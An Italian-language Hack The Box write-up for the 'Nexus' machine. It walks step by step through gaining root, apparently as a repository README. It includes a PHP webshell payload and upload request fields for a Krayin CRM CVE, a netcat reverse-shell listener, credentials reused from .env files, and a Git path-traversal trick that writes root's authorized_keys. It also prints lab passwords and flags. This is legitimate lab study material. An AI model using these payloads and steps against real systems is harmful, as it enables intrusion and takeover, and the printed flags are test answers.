🏴‍☠️ HTB Labs - Nexus

English 🇺🇸 | Español 🇪🇸

English | Español

📋 Panoramica

Nexus è una macchina Linux di difficoltà Facile di Hack The Box che dimostra una catena di attacco multi-fase che coinvolge enumerazione di virtual host, credenziali esposte, funzionalità vulnerabili di applicazioni web, esecuzione remota di codice, riutilizzo di credenziali ed escalation locale dei privilegi.

Catena di Attacco

Ricognizione
      │
      ▼
Enumerazione Virtual Host
      │
      ├── git.nexus.htb
      └── billing.nexus.htb
              │
              ▼
      Cronologia Commit Gitea
              │
              ▼
       Credenziali Esposte
              │
              ▼
        Login Krayin CRM
              │
              ▼
      CVE-2026-38526
              │
              ▼
        Webshell PHP
              │
              ▼
       Reverse Shell
        (www-data)
              │
              ▼
       .env dell'Applicazione
              │
              ▼
        SSH come jones
              │
              ▼
   gitea-template-sync
              │
              ▼
       Path Traversal
              │
              ▼
    Repository Git Maligno
              │
              ▼
         SSH come root

Tecniche Chiave

• 🔍 Enumerazione di virtual host
• 🔑 Scoperta di credenziali tramite cronologia commit Git
• 💻 Sfruttamento di Krayin CRM
• 🐚 Webshell PHP e reverse shell
• 🔐 Riutilizzo di credenziali
• 🔬 Enumerazione dei servizi Linux
• 📂 Path traversal
• 🌳 Costruzione di repository Git maligno
• 👑 Escalation dei privilegi a root

IP Target: 10.129.82.92

🔍 Fase 1 Ricognizione

Scansione delle Porte

nmap -p- -sV -sC -oN nexus_full_scan.txt 10.129.82.92

Risultati

22/tcp  open  ssh   OpenSSH 9.6p1 Ubuntu
80/tcp  open  http  nginx 1.24.0 (Ubuntu)

Enumerazione Virtual Host

gobuster vhost \
-u http://nexus.htb \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain

Host Scoperti

git.nexus.htb       → Gitea
billing.nexus.htb   → Krayin CRM

Aggiungi gli host scoperti a /etc/hosts:

echo "10.129.82.92 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts

🔑 Fase 2 Scoperta delle Credenziali

Enumerazione Gitea

Naviga verso:

http://git.nexus.htb

Un repository denominato:

admin/krayin-docker-setup

contiene informazioni utili nella sua cronologia Git.

Il file .env può essere recuperato dai commit precedenti, rivelando credenziali che non sono più presenti nella versione corrente.

Credenziali Scoperte

L'indirizzo email [email protected] è stato identificato anche nella sezione relativa al personale del sito web principale.

💻 Fase 3 CVE-2026-38526 : Krayin CRM

Login CRM

URL: http://billing.nexus.htb/admin/login

Email: [email protected]
Password: N27xh!!2ucY04

Caricamento della Webshell

Naviga verso:

/admin/mail/sent

Poi:

1. Clicca su Compose Mail.
2. Allega il payload PHP.
3. Intercetta la richiesta usando Burp Suite.
4. Modifica il nome del file caricato.
5. Cambia il tipo MIME.
6. Inoltra la richiesta.

Il payload è memorizzato in:

exploits/CVE-2026-38526/shell.php

Payload:

<?php system($_GET["cmd"]); ?>

I campi multipart rilevanti sono:

Content-Disposition: form-data; name="attachments[]"; filename="shell.php"
Content-Type: application/x-php

Webshell

Dopo il caricamento riuscito:

http://billing.nexus.htb/storage/emails/2/shell.php?cmd=id

Risultato atteso:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

📡 Fase 4 Reverse Shell

Avvia un listener:

nc -lvnp 4444

Poi attiva la reverse shell tramite la webshell caricata.

L'implementazione in Python è disponibile in:

exploits/CVE-2026-38526/reverse_shell.py

In questa fase la shell viene ottenuta come:

www-data

🐚 Fase 5 Accesso Utente

Leggi la Configurazione dell'Applicazione

Ispeziona la configurazione di Krayin:

cat /var/www/krayin/.env

Vengono trovate le credenziali:

DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

Enumera gli Utenti

cat /etc/passwd | grep sh$

Viene identificato l'account jones.

SSH come jones

ssh [email protected]

Password:

y27xb3ha!!74GbR

Flag Utente

f20cbf9aeb6bb228d356a42ff49c1933

🔬 Fase 6 Escalation dei Privilegi

Enumera i Servizi

systemctl list-units | grep -i gitea

Vengono identificati il seguente servizio e timer:

gitea-template-sync.timer
gitea-template-sync.service

Il servizio viene eseguito con privilegi elevati.

Script Vulnerabile

/etc/gitea/template-sync.py

Il meccanismo di sincronizzazione utilizza una costruzione di percorsi che può essere sfruttata tramite path traversal.

🎯 Fase 7 Repository Git Maligno

Genera una coppia di chiavi SSH:

ssh-keygen -t ed25519 -f /tmp/nexus_root -N ""
cat /tmp/nexus_root.pub

Lo sfruttamento della manipolazione degli oggetti Git si trova in:

exploits/gitea_template_sync/exploit_git.py

Crea il repository:

cd /tmp
rm -rf exploit
mkdir exploit
cd exploit

git init
python3 exploit_git.py

Il repository deve utilizzare il ramo:

main

Token Gitea

Genera un token di accesso personale tramite:

http://git.nexus.htb

Naviga verso:

Settings → Applications

Poi configura il remote:

git remote set-url origin http://jones:[email protected]/jones/exploit.git

Esegui il push del repository maligno:

git push -f origin main

⏰ Fase 8 Sincronizzazione dei Template

Monitora il log di sincronizzazione:

tail -f /var/log/template-sync.log

Una sincronizzazione riuscita comporta l'elaborazione dell'albero Git maligno da parte del servizio privilegiato.

Esempio:

[2026-08-27 02:01:30] Syncing template: jones/exploit
[2026-08-27 02:01:30]   synced: ../../../../../root/.ssh/authorized_keys
[2026-08-27 02:01:30] Template sync complete

👑 Fase 9 Root

Una volta che la chiave pubblica SSH è stata scritta nell'account root:

ssh -i /tmp/nexus_root [email protected]

Verifica l'accesso:

whoami

Atteso:

root

Recupera la flag root:

cat /root/root.txt

Flag Root

85be1d2a3084e387da0e7dd118908c63

🏆 Flag

🔐 Credenziali

Queste credenziali appartengono all'ambiente di laboratorio Hack The Box documentato da questo repository.

🛠️ Strumenti

📁 Struttura del Repository

htb-labs-nexus/
├── README.md
├── exploits/
│   ├── CVE-2026-38526/
│   │   ├── shell.php
│   │   ├── reverse_shell.py
│   │   └── burp_request.txt
│   └── gitea_template_sync/
│       ├── exploit_git.py
│       ├── create_repo.sh
│       └── key.pub
├── scripts/
│   ├── linpeas.sh
│   ├── LinEnum.sh
│   └── enum_services.sh
├── assets/
│   ├── nmap_scan.txt
│   ├── gobuster_vhost.txt
│   └── credentials.txt
├── screenshots/
│   ├── gitea_repo.png
│   ├── crm_login.png
│   ├── webshell.png
│   └── root_flag.png
└── notes/
    ├── methodology.md
    ├── commands.md
    └── credentials.md

📚 Risorse Aggiuntive

• CVE-2026-38526
• Krayin CRM
• Documentazione Gitea
• OWASP Path Traversal

⚠️ Disclaimer

Questo repository è destinato esclusivamente a scopi educativi e test di sicurezza autorizzati.

Le tecniche, le credenziali, gli exploit e i comandi documentati qui non devono essere utilizzati contro sistemi senza esplicita autorizzazione.

🎯 Punti Chiave

1. 🔍 Enumera i Virtual Host: servizi importanti possono essere nascosti dietro sottodomini.
2. 🔑 Controlla la Cronologia Git: rimuovere un segreto da un file non significa che sia sparito dalla cronologia del repository.
3. 💻 Analizza i Caricamenti di File: la validazione dell'estensione e del tipo MIME può essere un controllo di sicurezza critico.
4. 🐚 Enumera Dopo Aver Ottenuto una Shell: i file di configurazione possono contenere credenziali riutilizzabili.
5. 🔬 Controlla i Servizi Privilegiati: un servizio eseguito come root può diventare un vettore di escalation dei privilegi.
6. 📂 Valida Correttamente i Percorsi dei File: la gestione non sicura di percorsi controllati dall'utente può introdurre vulnerabilità di Path Traversal.
7. 🌳 Git Può Diventare un Vettore di Attacco: gli oggetti e gli alberi Git possono essere manipolati quando un'applicazione si fida in modo errato della loro struttura.

🙏 Crediti

• Hack The Box : Macchina e piattaforma di laboratorio
• P3lured : Write-up originale
• Tran Manh Tan : Guida complementare

⭐ Se hai trovato utile questo write-up, considera di mettere una stella al repository.